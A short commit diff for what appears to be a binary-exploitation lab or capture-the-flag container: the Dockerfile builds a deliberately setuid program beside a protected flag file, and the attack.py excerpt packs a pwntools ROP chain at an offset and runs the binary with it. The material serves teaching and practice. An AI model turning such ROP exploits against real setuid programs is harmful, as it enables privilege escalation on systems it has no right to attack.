clean up for public consumption

Dockerfile

@@ -7,6 +7,7 @@ RUN apt update && \
 		vim \
 		gdb \
 		build-essential \
+		nano \
 	 && apt-get clean all
 
 WORKDIR /app
@@ -17,17 +18,15 @@ RUN pip3 install -r requirements.txt
 COPY Makefile example.c attack.py create_table.py flag.txt .
 RUN make
 RUN useradd -ms /bin/bash user
-RUN useradd -ms /bin/bash john
 RUN chmod 400 flag.txt && \
 	chmod o+r /tmp && \
 	chown user attack.py && \
 	chgrp user attack.py && \
 	ulimit -c unlimited && \
-	# chown 4755 create_table.py && \
 	cp example example-crash && \
 	chmod 4755 example
 
 USER user
 
-CMD ["/bin/sh"]
+CMD ["/bin/bash"]
 

attack.py

@@ -21,13 +21,16 @@
 
 ########################################
 
+# pack ropchain at offset
 payload = flat({
     offset: rop.chain()
 })
 
 print("ropchain:")
 print(rop.dump())
 
+# start the process
 with elf.process([payload]) as p:
-    p.interactive()
+	# print the output
+	print(p.recvrepeat(5).decode('utf-8').strip())